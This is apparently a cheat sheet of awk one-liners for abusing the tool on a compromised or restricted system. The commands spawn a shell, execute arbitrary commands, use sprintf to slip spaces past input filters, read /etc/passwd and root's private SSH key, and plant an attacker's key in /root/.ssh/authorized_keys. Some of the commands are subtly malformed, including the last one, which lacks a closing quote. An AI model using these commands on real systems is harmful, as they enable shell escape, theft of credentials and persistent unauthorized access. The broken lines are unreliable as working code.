Can be used to execute arbitrary commands on a system and spawn shells.

awk 'BEGIN{system("/bin/sh")}'

Can be used to execute arbitrary commands on a system.

awk 'BEGIN {system("ls"); exit}' /dev/null 

The file must exist and command will be executed as many rows there are in the file.

awk 'system("ls")' /etc/passwd 

If spaces cannot be inserted, we can use `sprintf(%c,32)` to emulate them.

awk '//{}BEGIN{system(sprintf("uname%c-aa",32))}' 

Read an arbitrary file.

awk 'BEGIN{while((getline line<"/etc/passwd")>0){print line}}' /dev/null 

Print the contents of multiple files.

awk '//' /etc/passwd /etc/hostname /root/.ssh/id_rsa 

Write to an arbitrary file

awk 'BEGIN{print "ssh-rsa ..." > "/root/.ssh/authorized_keys}' /dev/null